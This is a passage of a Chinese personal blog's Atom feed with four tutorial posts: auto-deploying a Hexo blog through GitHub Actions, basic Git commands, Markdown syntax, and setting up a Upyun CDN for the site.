<published>2021-03-17T13:48:08.000Z</published>
<updated>2021-03-17T13:48:08.000Z</updated>
<content type="html"><![CDATA[<p> 本文介绍如何使用 GitHub Actions 实现自动部署 Hexo 博客,具体方案为:使用两个仓库,一个私有仓库存放 Hexo 博客的源程序,一个公开仓库存放生成的静态网站。当我们向私有仓库 push 时,GitHub Actions 自动生成静态页面并推送到公开仓库,实现博客的自动化部署。</p><span id="more"></span><p> 下文中都假设你已下载安装了 Hexo 所必需的组件并且已经在本地初始化了 Hexo 博客。</p><p> 首先,你需要有一个私有仓库 <code>hexo-src</code> (名称随意)和一个公开仓库 <code><username>.github.io</code> 。</p><p> 检查 Hexo 博客根目录下的 <code>package.json</code> 文件,确保其中有以下内容,如没有则自行添加,新安装的应该默认是有的。</p><figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> ...</span><br><span class="line"> “scripts”<span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"build"</span><span class="punctuation">:</span> <span class="string">"hexo generate"</span><span class="punctuation">,</span></span><br><span class="line"> ...</span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> ...</span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p> 在私有仓库中添加 <code>.github/workflow/pages.yml</code> 文件,内容如下:</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">Github</span> <span class="string">Page</span> <span class="comment"># 名字随意 </span></span><br><span class="line"></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line"> <span class="attr">push:</span></span><br><span class="line"> <span class="attr">branches:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">main</span> <span class="comment"># 私有仓库的默认分支名字 </span></span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line"> <span class="attr">pages:</span></span><br><span class="line"> <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line"> <span class="attr">steps:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">actions/checkout@v2</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Use</span> <span class="string">Node.js</span> <span class="number">12.</span><span class="string">x</span></span><br><span class="line"> <span class="attr">uses:</span> <span class="string">actions/setup-node@v1</span></span><br><span class="line"> <span class="attr">with:</span></span><br><span class="line"> <span class="attr">node-version:</span> <span class="string">'12.x'</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Cache</span> <span class="string">NPM</span> <span class="string">dependencies</span></span><br><span class="line"> <span class="attr">uses:</span> <span class="string">actions/cache@v2</span></span><br><span class="line"> <span class="attr">with:</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">node_modules</span></span><br><span class="line"> <span class="attr">key:</span> <span class="string">${{</span> <span class="string">runner.OS</span> <span class="string">}}-npm-cache</span></span><br><span class="line"> <span class="attr">restore-keys:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> ${{ runner.OS }}-npm-cache</span></span><br><span class="line"><span class="string"></span> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Install</span> <span class="string">Dependencies</span></span><br><span class="line"> <span class="attr">run:</span> <span class="string">npm</span> <span class="string">install</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Build</span></span><br><span class="line"> <span class="attr">run:</span> <span class="string">npm</span> <span class="string">run</span> <span class="string">build</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Deploy</span></span><br><span class="line"> <span class="attr">uses:</span> <span class="string">peaceiris/actions-gh-pages@v3</span></span><br><span class="line"> <span class="attr">with:</span></span><br><span class="line"> <span class="attr">personal_token:</span> <span class="string">${{</span> <span class="string">secrets.PERSONAL_TOKEN</span> <span class="string">}}</span></span><br><span class="line"> <span class="comment"># 下面内容按需修改 </span></span><br><span class="line"> <span class="attr">external_repository:</span> <span class="string">ChinaNuke/ChinaNuke.github.io</span> <span class="comment"># 目标仓库 (存放静态页面)</span></span><br><span class="line"> <span class="attr">publish_branch:</span> <span class="string">main</span> <span class="comment"># 目标仓库的默认分支名字 </span></span><br><span class="line"> <span class="attr">publish_dir:</span> <span class="string">./public</span></span><br><span class="line"> <span class="attr">cname:</span> <span class="string">nuke666.cn</span> <span class="comment"># 如果设置了自定义域名则需要设置此项 </span></span><br></pre></td></tr></table></figure><p> 由于是部署目标是另一个仓库,因此需要设置 <code>${{ secrets.PERSONAL_TOKEN }}</code> 并指定所要推送到的仓库 <code>external_repository</code> 以及其默认分支。<a href="https://github.com/settings/tokens"> 生成一个 personal token</a>(scopes 选择 repo 即可),然后将其添加到私有仓库的 Secrets 里面(点击上方 Settings,然后点击 Secrets),名字为 <code>PERSONAL_TOKEN</code>,这样执行 Action 时就会自动去读取这个 token。</p><p> 然后就完成了,直接把私有仓库 push 一下,Actions 会自动添加并执行,最多一分钟左右静态页面就会生成在公开仓库里。</p><p> 当然也可以部署到同一个仓库里,只是缺点是你的仓库源文件也需要公开,万一不注意在配置文件里写了什么密码密钥的就不太好,部署到同一个仓库的方法见下方参考链接中的官方文档,大致步骤相似。</p><h2 id="参考"><a href="# 参考" class="headerlink" title="参考"></a> 参考 </h2><blockquote><p><a href="https://hexo.io/docs/github-pages">https://hexo.io/docs/github-pages</a></p><p><a href="https://github.com/marketplace/actions/github-pages-action">https://github.com/marketplace/actions/github-pages-action</a></p></blockquote>]]></content>
<summary type="html"><p>本文介绍如何使用GitHub Actions实现自动部署Hexo博客,具体方案为:使用两个仓库,一个私有仓库存放Hexo博客的源程序,一个公开仓库存放生成的静态网站。当我们向私有仓库push时,GitHub Actions自动生成静态页面并推送到公开仓库,实现博客的自动化部署。</p></summary>
<category term="网站" scheme="https://www.nuke666.cn/categories/%E7%BD%91%E7%AB%99/"/>
<category term="Hexo" scheme="https://www.nuke666.cn/tags/Hexo/"/>
</entry>
<entry>
<title>Git 基本操作</title>
<link href="https://www.nuke666.cn/2020/09/how-to-use-git/"/>
<id>https://www.nuke666.cn/2020/09/how-to-use-git/</id>
<published>2020-09-08T12:02:31.000Z</published>
<updated>2020-09-08T12:02:31.000Z</updated>
<content type="html"><![CDATA[<p>Git 是目前世界上最先进的分布式版本控制系统(廖雪峰说的),2008 年,GitHub 网站上线,它为开源项目免费提供 Git 存储,无数开源项目开始迁移至 GitHub。与集中式的版本控制 SVN 不同,分布式版本控制系统没有“中央服务器”,每个人的电脑上都是一个完整的版本库。</p><p>本文记录 Git 的各种常用的基本操作,方便使用时查阅。如果你是头一次接触 Git,建议先找一份教程完整的看一看,推荐 <a href="https://www.liaoxuefeng.com/wiki/896043488029600"> 廖雪峰的 Git 教程</a>,虽然有些内容讲的也比较绕,但是入门来说应该足够了。</p><span id="more"></span><h2 id="初始设置"><a href="# 初始设置" class="headerlink" title="初始设置"></a>初始设置 </h2><h3 id="配置用户名和 Email"><a href="# 配置用户名和 Email" class="headerlink" title="配置用户名和 Email"></a> 配置用户名和 Email</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git config --global user.name <span class="string">"Your Name"</span></span><br><span class="line">git config --global user.email <span class="string">"[email protected]"</span></span><br></pre></td></tr></table></figure><p>在本地 Git 配置后,还需要在 GitHub 账号的 <code>Settings</code> - <code>Emails</code> 中添加并验证这个邮箱,才能与自己的 GitHub 账号关联。</p><h3 id="设置和取消代理"><a href="# 设置和取消代理" class="headerlink" title="设置和取消代理"></a>设置和取消代理 </h3><p> 设置合适的科研网络环境可以有效解决克隆仓库时速度慢的问题。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta"># </span><span class="language-bash">http</span></span><br><span class="line">git config --global https.proxy http://127.0.0.1:8080</span><br><span class="line">git config --global http.proxy https://127.0.0.1:8080</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta"># </span><span class="language-bash">socks5</span></span><br><span class="line">git config --global https.proxy socks5://127.0.0.1:1080</span><br><span class="line">git config --global http.proxy socks5://127.0.0.1:1080</span><br><span class="line"></span><br><span class="line">git config --global unset http.proxy</span><br><span class="line">git config --global unset https.proxy</span><br></pre></td></tr></table></figure><h2 id="基本操作"><a href="# 基本操作" class="headerlink" title="基本操作"></a>基本操作 </h2><h3 id="在本地创建版本库 -repository"><a href="# 在本地创建版本库 -repository" class="headerlink" title="在本地创建版本库(repository)"></a> 在本地创建版本库(repository)</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git init <directory></span><br><span class="line"><span class="comment"># 或者:</span></span><br><span class="line"><span class="built_in">cd</span> <directory></span><br><span class="line">git init</span><br></pre></td></tr></table></figure><p>这样, <code><directory></code> 目录就变成了 Git 可管理的仓库,可以发现目录下多了一个隐藏的 <code>.git</code> 目录,不要手动改动这个目录里的东西。</p><h3 id="查看仓库状态"><a href="# 查看仓库状态" class="headerlink" title="查看仓库状态"></a>查看仓库状态 </h3><p> 如果第一次接触 Git,建议先搞清楚工作区(Working Directory)、版本库(Repository)和暂存区(Stage)的概念,可参考 <a href="https://www.liaoxuefeng.com/wiki/896043488029600/897271968352576"> 廖雪峰的教程</a>。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">git status</span><br></pre></td></tr></table></figure><p>使用这个命令可以看到:</p><ul><li>工作区中已被修改但是未被添加到暂存区的文件(Changes not staged for commit)</li><li>已添加到工作区但是未提交的文件(Changes to be committed)</li><li>尚未被 Git 追踪的文件(Untracked files)</li></ul><h3 id="暂存区相关操作"><a href="# 暂存区相关操作" class="headerlink" title="暂存区相关操作"></a>暂存区相关操作</h3><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">git add xxx.txt # 将工作区中修改的文件(Changes not staged for commit)添加到暂存区</span><br><span class="line">git rm --cached xxx.txt # 将暂存区的文件撤回到工作区</span><br><span class="line">git restore xxx.txt # 丢弃工作区中对文件的修改,使用暂存区中的版本</span><br></pre></td></tr></table></figure><p>要注意区分第二个和第三个命令,它们的作用是不一样的。如果记不清这几个命令,输入 <code>git status</code> 会得到提示,提示中对命令的解释也很明确。</p><h3 id="本地版本库操作"><a href="# 本地版本库操作" class="headerlink" title="本地版本库操作"></a>本地版本库操作</h3><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">git commit -m "blablabla..." # 将暂存区中的文件提交到版本库。需提供版本说明信息</span><br><span class="line"> # 执行这个命令前需要先把要提交的东西使用 git add 命令添加到暂存区</span><br><span class="line"> # 然后可以使用 git status 确认一下要提交的内容</span><br><span class="line"> </span><br><span class="line">git log [--oneline] # 查看版本库的所有 commit 记录。添加 --oneline 参数可以在一行显式</span><br><span class="line"></span><br><span class="line">git reflog # 查看命令历史,可以看到所有之前使用过的命令记录</span><br></pre></td></tr></table></figure><p>默认的 log 命令显示的内容比较长,每次写都带参数的话又比较麻烦,我们可以使用 Git 的别名功能。将下面的这条命令输入到命令行中:</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">git config --global alias.lg "log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit"</span><br></pre></td></tr></table></figure><p>之后我们就可以用 <code>git lg</code> 来替代 <code>git log</code> ,可以看到,这样不仅显示的内容更加清晰,还能够显示出 commit 树的分支情况。</p><h3 id="远程仓库操作"><a href="# 远程仓库操作" class="headerlink" title="远程仓库操作"></a>远程仓库操作</h3><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">git clone [email protected]:ChinaNuke/learnGit.git # 克隆远程仓库</span><br><span class="line"></span><br><span class="line">git remote add origin [email protected]:ChinaNuke/learnGit.git # 添加远程仓库</span><br></pre></td></tr></table></figure><p>这两条命令的主要区别是,克隆一般用于 GitHub 上已经有了在开发的项目,我们需要把整个项目仓库下载到本地的情况(先有远程库,后有本地库);而添加用于刚创建 GitHub 仓库,里面并没有东西的情况(先有本地库,后有远程库),但也可以用于第一种情况。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">git push -u origin master # 把本地库的所有内容推送到远程库上,并为 master 分支建立链接</span><br><span class="line"> # origin 是远程库的名字,可以改成其他的,但一般用 origin 比较直观</span><br><span class="line"> # 一般来说,仅第一次推送时需要建立链接,后续推送不需要</span><br><span class="line"></span><br><span class="line">git push # 把当前分支的内容推送到远程库对应的分支</span><br><span class="line"></span><br><span class="line">git pull # 从远程库拉取分支的内容</span><br><span class="line"></span><br><span class="line">git reset --hard HEAD^ # 回退到上一个版本。HEAD^^ 为上上个版本,以此类推</span><br><span class="line">git reset --hard 1094a # 回退 / 还原到提交编号开头为 1094a 的版本</span><br></pre></td></tr></table></figure><h3 id="分支管理"><a href="# 分支管理" class="headerlink" title="分支管理"></a>分支管理 </h3><p> 留坑。</p><h2 id="多人协作项目一般流程"><a href="# 多人协作项目一般流程" class="headerlink" title="多人协作项目一般流程"></a>多人协作项目一般流程 </h2><p> 使用 Git 和 GitHub 可以很方便地进行多人协作。多人协作中所用到的大部分命令已在前面提到,此处不对命令进行详细解释。</p><p>对于已经在 GitHub 上建好的项目,我们要先把它克隆到本地。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">git clone [email protected]:ChinaNuke/learnGit.git [local directory]</span><br></pre></td></tr></table></figure><p>其中,参数中的链接是远程仓库的地址,可以在 GitHub 项目页面找到。 <code>[local directory]</code> 为可选参数,如果指定了目录名,则克隆到这个目录,未指定则默认以仓库名来命名目录,此处为 <code>learnGit</code> 。</p><p>之后我们需要 <code>cd learnGit</code> 进入到仓库目录中,后续的操作都在仓库中进行。我们可以使用 <code>git remote -v</code> 命令查看当前仓库本地链接到的远程仓库,一般会看到 <code>fetch</code> 和 <code>push</code> 两个地址,如果没有推送权限,就看不到 <code>push</code> 地址。</p><p>然后我们就可以在本地进行开发了,开发过程中我们可以随时使用 <code>git add</code> 命令将工作区中修改过的文件添加到暂存区,然后使用 <code>git commit</code> 命令进行提交,使用 <code>git lg</code> 命令可以查看 commit 树。</p><p>在多人开发中,很有可能遇到这样一种情况:我在本地进行开发,其他人也在他的本地基于同一个版本进行开发,然后他在我们之前将修改提交到了远程仓库,这时候我们 push 时就会被拒绝。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">To github.com:github.com:ChinaNuke/learnGit.git</span><br><span class="line"> ! [rejected] dev -> dev (non-fast-forward)</span><br><span class="line">error: failed to push some refs to '[email protected]:ChinaNuke/learnGit.git'</span><br><span class="line">hint: Updates were rejected because the tip of your current branch is behind</span><br><span class="line">hint: its remote counterpart. Integrate the remote changes (e.g.</span><br><span class="line">hint: 'git pull ...') before pushing again.</span><br><span class="line">hint: See the 'Note about fast-forwards' in 'git push --help' for details.</span><br></pre></td></tr></table></figure><p>原因显而易见,那如何解决呢?我们先用 <code>git pull</code> 命令把最新的提交从远程库拉取下来,在本地合并,这时可能会有冲突,需要我们手动进行合并(冲突合并方法见廖雪峰教程)。合并完冲突之后就可以再次进行推送了,但是在这之前我们先使用 <code>git lg</code> 命令看看现在的 commit 树,它是不直的,类似这个样子:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">* d1be385 (HEAD -> master, origin/master) init hello</span><br><span class="line">* e5e69f1 Merge branch 'dev'</span><br><span class="line">|\ </span><br><span class="line">| * 57c53ab (origin/dev, dev) fix env conflict</span><br><span class="line">| |\ </span><br><span class="line">| | * 7a5e5dd add env</span><br><span class="line">| * | 7bd91f1 add new env</span><br><span class="line">| |/ </span><br><span class="line">* | 12a631b merged bug fix 101</span><br><span class="line">|\ \ </span><br><span class="line">| * | 4c805e2 fix bug 101</span><br><span class="line">|/ / </span><br><span class="line">* | e1e9c68 merge with no-ff</span><br><span class="line">|\ \ </span><br><span class="line">| |/ </span><br><span class="line">| * f52c633 add merge</span><br><span class="line">|/ </span><br><span class="line">* cf810e4 conflict fixed</span><br></pre></td></tr></table></figure><p>这样很不好看,对强迫症很不友好。我们可以在推送前再加一步 <code>git rebase</code> ,正常情况下 Git 会自动将 commit 树整理成直的,执行完之后我们可以再次使用 <code>git lg</code> 看一下。最后,我们就可以用 <code>git push</code> 推送提交了。</p><p>关于 commit 树要整理成直的还是保留原始的修改记录,网上众说纷纭,我更倾向于整理成直的,清晰又直观!</p><h2 id="建议参考资料"><a href="# 建议参考资料" class="headerlink" title="建议参考资料"></a>建议参考资料</h2><blockquote><p>Git Cheat Sheet: <a href="https://www.atlassian.com/git/tutorials/atlassian-git-cheatsheet">https://www.atlassian.com/git/tutorials/atlassian-git-cheatsheet</a></p><p>廖雪峰 Git 教程: <a href="https://www.liaoxuefeng.com/wiki/896043488029600">https://www.liaoxuefeng.com/wiki/896043488029600</a></p></blockquote>]]></content>
<summary type="html"><p>Git是目前世界上最先进的分布式版本控制系统(廖雪峰说的),2008年,GitHub网站上线,它为开源项目免费提供Git存储,无数开源项目开始迁移至GitHub。与集中式的版本控制SVN不同,分布式版本控制系统没有“中央服务器”,每个人的电脑上都是一个完整的版本库。</p>
<p>本文记录Git的各种常用的基本操作,方便使用时查阅。如果你是头一次接触Git,建议先找一份教程完整的看一看,推荐<a href="https://www.liaoxuefeng.com/wiki/896043488029600">廖雪峰的Git教程</a>,虽然有些内容讲的也比较绕,但是入门来说应该足够了。</p></summary>
<category term="Git" scheme="https://www.nuke666.cn/tags/Git/"/>
</entry>
<entry>
<title>Markdown 基本语法</title>
<link href="https://www.nuke666.cn/2020/07/markdown-syntax/"/>
<id>https://www.nuke666.cn/2020/07/markdown-syntax/</id>
<published>2020-07-22T09:18:14.000Z</published>
<updated>2020-07-22T09:18:14.000Z</updated>
<content type="html"><![CDATA[<p>Markdown 是一种轻量级的标记语言,对图片、图标和数学公式都有很好的支持,而且其语法极为简单,可以让我们更好的专注于写作内容。本文记录 Markdown 的各类基本语法和显示效果,以方便后续写作时查阅。</p><span id="more"></span><h2 id="标题"><a href="# 标题" class="headerlink" title="标题"></a>标题</h2><figure class="highlight md"><table><tr><td class="code"><pre><span class="line"><span class="section"># 一级标题</span></span><br><span class="line"><span class="section">## 二级标题</span></span><br><span class="line"><span class="section">### 三级标题</span></span><br></pre></td></tr></table></figure><p><strong>效果:</strong></p><h1 id="一级标题"><a href="# 一级标题" class="headerlink" title="一级标题"></a>一级标题 </h1><h2 id="二级标题"><a href="# 二级标题" class="headerlink" title="二级标题"></a> 二级标题 </h2><h3 id="三级标题"><a href="# 三级标题" class="headerlink" title="三级标题"></a> 三级标题 </h3><h2 id="段落和换行"><a href="# 段落和换行" class="headerlink" title="段落和换行"></a> 段落和换行 </h2><p> 用一行的空行来隔开段落,Markdown Guide 不建议使用空格或者 TAB 对段落缩进。</p><figure class="highlight md"><table><tr><td class="code"><pre><span class="line">这是第一段 </span><br><span class="line"></span><br><span class="line"> 这是第二段</span><br></pre></td></tr></table></figure><p><strong>效果:</strong><br>这是第一段</p><p>这是第二段</p><p>在行末添加两个及以上的空格或者加入 <code><br></code> 标签 <del> 可以单纯的进行换行 </del> 效果和上面一样。</p><figure class="highlight md"><table><tr><td class="code"><pre><span class="line">这是第一行 <span class="language-xml"><span class="tag"><<span class="name">br</span>></span></span></span><br><span class="line"> 这是第二行</span><br></pre></td></tr></table></figure><p><strong>效果:</strong><br>这是第一行 <br><br> 这是第二行</p><h2 id="加粗和斜体"><a href="# 加粗和斜体" class="headerlink" title="加粗和斜体"></a>加粗和斜体</h2><figure class="highlight md"><table><tr><td class="code"><pre><span class="line"><span class="strong">** 加粗字体 **</span></span><br><span class="line"><span class="emphasis">* 斜体字体 *</span></span><br><span class="line"><span class="strong">**<span class="emphasis">* 加粗和斜体<span class="strong">**<span class="emphasis">*</span></span></span></span></span><br></pre></td></tr></table></figure><p><strong>效果:</strong><br><strong>加粗字体 </strong><br><em> 斜体字体 </em><br><em><strong> 加粗和斜体</strong></em></p><h2 id="引用"><a href="# 引用" class="headerlink" title="引用"></a>引用</h2><figure class="highlight md"><table><tr><td class="code"><pre><span class="line"><span class="quote">> 这里是引用</span></span><br></pre></td></tr></table></figure><p><strong>效果:</strong></p><blockquote><p>这里是引用</p></blockquote><figure class="highlight md"><table><tr><td class="code"><pre><span class="line"><span class="quote">> 这里是多段引用</span></span><br><span class="line"><span class="quote">></span></span><br><span class="line"><span class="quote">> 这是引用的第二段</span></span><br></pre></td></tr></table></figure><p><strong>效果:</strong></p><blockquote><p>这里是多段引用</p><p>这是引用的第二段</p></blockquote><figure class="highlight md"><table><tr><td class="code"><pre><span class="line"><span class="quote">> 这里是套娃引用</span></span><br><span class="line"><span class="quote">></span></span><br><span class="line"><span class="quote">>> 这是娃</span></span><br></pre></td></tr></table></figure><p><strong>效果:</strong></p><blockquote><p>这里是套娃引用</p><blockquote><p>这是娃</p></blockquote></blockquote><p>引用中也可以再嵌套其他的格式。</p><h2 id="有序和无序列表"><a href="# 有序和无序列表" class="headerlink" title="有序和无序列表"></a>有序和无序列表</h2><figure class="highlight md"><table><tr><td class="code"><pre><span class="line"><span class="bullet">1.</span> 有序列表第一项</span><br><span class="line"><span class="bullet">2.</span> 有序列表第二项</span><br><span class="line"><span class="bullet">3.</span> 有序列表第三项</span><br><span class="line"><span class="bullet">4.</span> 不必保持标号顺序但是第一项必须为 1</span><br></pre></td></tr></table></figure><p><strong>效果:</strong></p><ol><li>有序列表第一项</li><li>有序列表第二项</li><li>有序列表第三项</li><li>不必保持标号顺序但是第一项必须为 1</li></ol><figure class="highlight md"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> 无序列表第一项</span><br><span class="line"><span class="bullet">-</span> 无序列表第二项</span><br><span class="line"><span class="bullet">-</span> 无序列表第三项</span><br></pre></td></tr></table></figure><p><strong>效果:</strong></p><ul><li>无序列表第一项</li><li>无序列表第二项</li><li>无序列表第三项</li></ul><p>在列表中添加元素同时保持列表连续,可以在插入的元素前面添加 <code> 四个空格 </code> 或者一个 <code>TAB</code> 缩进。</p><figure class="highlight md"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> 无序列表第一项</span><br><span class="line"><span class="bullet">-</span> 无序列表第二项</span><br><span class="line"><span class="code"> 列表之间插入文本,保持列表连续</span></span><br><span class="line"><span class="code">- 无序列表第三项</span></span><br></pre></td></tr></table></figure><p><strong>效果:</strong></p><ul><li>无序列表第一项</li><li>无序列表第二项<br> 列表之间插入文本,保持列表连续</li><li>无序列表第三项</li></ul><h2 id="图片"><a href="# 图片" class="headerlink" title="图片"></a>图片 </h2><figure class="highlight md"><table><tr><td class="code"><pre><span class="line">![<span class="string"> 图片替换文本 </span>](<span class="link"> 图片地址</span>)</span><br></pre></td></tr></table></figure><h2 id="链接"><a href="# 链接" class="headerlink" title="链接"></a>链接</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[小米 10 点击就送(假的)](https://nuke666.cn)</span><br></pre></td></tr></table></figure><p><strong>效果:</strong><br><a href="/">小米 10 点击就送(假的)</a></p><h2 id="代码块"><a href="# 代码块" class="headerlink" title="代码块"></a>代码块</h2><figure class="highlight md"><table><tr><td class="code"><pre><span class="line"><span class="code">``` python hello/hello.py</span></span><br><span class="line"><span class="code">def my_print():</span></span><br><span class="line"><span class="code"> print('Hello World!')</span></span><br><span class="line"><span class="code">```</span></span><br></pre></td></tr></table></figure><p><strong>效果:</strong><br>``` python hello/hello.py<br>def my_print():<br> print(‘Hello World!’)</p><p>```</p><p>以上便是 Markdown 常用的基本语法,其他不常用的语法并没有列出,以后有时间再开一篇记录扩展语法。</p><blockquote><p>参考:<a href="https://www.markdownguide.org/basic-syntax/">Markdown Guide: Basic Syntax</a></p></blockquote>]]></content>
<summary type="html"><p>Markdown是一种轻量级的标记语言,对图片、图标和数学公式都有很好的支持,而且其语法极为简单,可以让我们更好的专注于写作内容。本文记录Markdown的各类基本语法和显示效果,以方便后续写作时查阅。</p></summary>
<category term="Markdown" scheme="https://www.nuke666.cn/tags/Markdown/"/>
</entry>
<entry>
<title>Hexo 部署到又拍云 CDN</title>
<link href="https://www.nuke666.cn/2020/07/deploy-to-upyuncdn/"/>
<id>https://www.nuke666.cn/2020/07/deploy-to-upyuncdn/</id>
<published>2020-07-21T09:12:25.000Z</published>
<updated>2020-07-21T09:12:25.000Z</updated>
<content type="html"><![CDATA[<p>Github 在国内的访问速度实在难以接受,这样大家怎么能看到我在博客写的段子!</p><p>于是乎,去了解了一下国内的 CDN 服务,发现又拍云可以白嫖,开始行动!</p><p>在配置过程中遇到了一世纪难题:我的域名配置了阿里云的企业邮箱,于是我就不能把 nuke666.cn 使用 CNAME 方式解析到 CDN 服务器,会提示冲突。搜了半天似乎这个问题无解,只好委曲求全曲线救国,将 <code>nuke666.cn</code> 以 A 记录方式解析到 GitHub Page,使用 <code>www.nuke666.cn</code> 作为访问 CDN 的域名,这样访问我的博客就需要通过 <code>www.nuke666.cn</code>,使用<code>nuke666.cn</code> 的话访问到的是 GitHub Page 源站。如果没有遇到这一世纪难题的话,把这两者反过来自然是极好的。</p><span id="more"></span><p>配置的具体过程如下:</p><h2 id="GitHub-Page 的配置"><a href="#GitHub-Page 的配置" class="headerlink" title="GitHub Page 的配置"></a>GitHub Page 的配置 </h2><p> 首先 <code>ping chinanuke.github.io</code> 获得网站的 IP 地址,为 <code>nuke666.cn</code> 添加 A 记录解析到此地址,然后在 GitHub 的 <code>Settings</code> 中添加自定义域名,并开启强制 HTTPS。GitHub 会自动为我们申请证书,需要等待一段时间才能生效。</p><h2 id="又拍云的配置"><a href="# 又拍云的配置" class="headerlink" title="又拍云的配置"></a>又拍云的配置 </h2><h3 id="在又拍云创建 CDN 服务"><a href="# 在又拍云创建 CDN 服务" class="headerlink" title="在又拍云创建 CDN 服务"></a> 在又拍云创建 CDN 服务 </h3><p> 加速域名填写欲解析到 CDN 服务器的地址(<code>www.nuke666.cn</code>),由于 Hexo 是静态网站,所以应用场景选择 <code> 网页图片</code>,其他填写内容入下图所示。<br><img src="https://images.nuke666.cn/posts/2020/202007_cdn_create.jpg" alt="创建 CDN 服务"></p><h3 id="配置 CDN"><a href="# 配置 CDN" class="headerlink" title="配置 CDN"></a>配置 CDN</h3><p>将 <code>www.nuke666.cn</code> 设置 CNAME 解析到又拍云提供的 CNAME 地址,<code>回源 Host</code>设置为源站的地址(nuke666.cn)。</p><h3 id="申请和配置证书"><a href="# 申请和配置证书" class="headerlink" title="申请和配置证书"></a>申请和配置证书 </h3><p> 在<code>HTTPS 配置 </code> 中,为 <code>www.nuke666.cn</code> 申请免费的 Let’s Encrypt 证书,开启 HTTPS 访问和强制 HTTPS 访问。</p><p>至此,CDN 的配置已经全部完成。通过浏览器访问<code>www.nuke666.cn</code>,应该是可以正常访问的,那么怎么知道 CDN 有没有生效呢?</p><p>通过浏览器的 <code> 开发者工具 </code>,查看<code>Response Headers</code>,有<code>server: marco/2.11</code> 即生效(又拍云的技术支持提供的方法),如果直连源站的话会显示<code>server: GitHub.com</code></p><p><img src="https://images.nuke666.cn/posts/2020/202007_cdn_ok.png" alt="查看 CDN 是否生效"></p><h2 id="国内无法加载 Font-Awesome 库的问题"><a href="# 国内无法加载 Font-Awesome 库的问题" class="headerlink" title="国内无法加载 Font Awesome 库的问题"></a>国内无法加载 Font Awesome 库的问题 </h2><p> 虽然使用了 CDN,但是依然感觉很慢。询问又拍云技术支持得知,只有本域名下的内容才会被缓存到 CDN,而 Hexo 的主题如果使用 Font Awesome 等,是不会被加速的。通过开发者工具查看请求,发现向 <code>fontawesome.com</code> 的请求占用了大量的时间,而且最终还请求失败了?</p><p>在 <code>icarus</code> 主题的配置文件中提供了对修改 CDN 的支持,修改如下,发现速度有明显提升。</p><figure class="highlight yaml"><figcaption><span>themes/icarus/_config.yml</span></figcaption><table><tr><td class="code"><pre><span class="line"><span class="attr">providers:</span></span><br><span class="line"> <span class="comment"># Name or URL template of the JavaScript and/or stylesheet CDN provider</span></span><br><span class="line"> <span class="attr">cdn:</span> <span class="string">jsdelivr</span></span><br><span class="line"> <span class="comment"># Name or URL template of the webfont CDN provider</span></span><br><span class="line"> <span class="attr">fontcdn:</span> <span class="string">loli</span></span><br><span class="line"> <span class="comment"># Name or URL of the fontawesome icon font CDN provider</span></span><br><span class="line"> <span class="attr">iconcdn:</span> <span class="string">loli</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><blockquote><p>又拍云打钱!</p></blockquote>]]></content>
<summary type="html"><p>Github在国内的访问速度实在难以接受,这样大家怎么能看到我在博客写的段子!</p>
<p>于是乎,去了解了一下国内的CDN服务,发现又拍云可以白嫖,开始行动!</p>
<p>在配置过程中遇到了一世纪难题:我的域名配置了阿里云的企业邮箱,于是我就不能把nuke666.cn使用CNAME方式解析到CDN服务器,会提示冲突。搜了半天似乎这个问题无解,只好委曲求全曲线救国,将<code>nuke666.cn</code>以A记录方式解析到GitHub Page,使用<code>www.nuke666.cn</code>作为访问CDN的域名,这样访问我的博客就需要通过<code>www.nuke666.cn</code>,使用<code>nuke666.cn</code>的话访问到的是GitHub Page源站。如果没有遇到这一世纪难题的话,把这两者反过来自然是极好的。</p></summary>
<category term="网站" scheme="https://www.nuke666.cn/categories/%E7%BD%91%E7%AB%99/"/>
</entry>
</feed>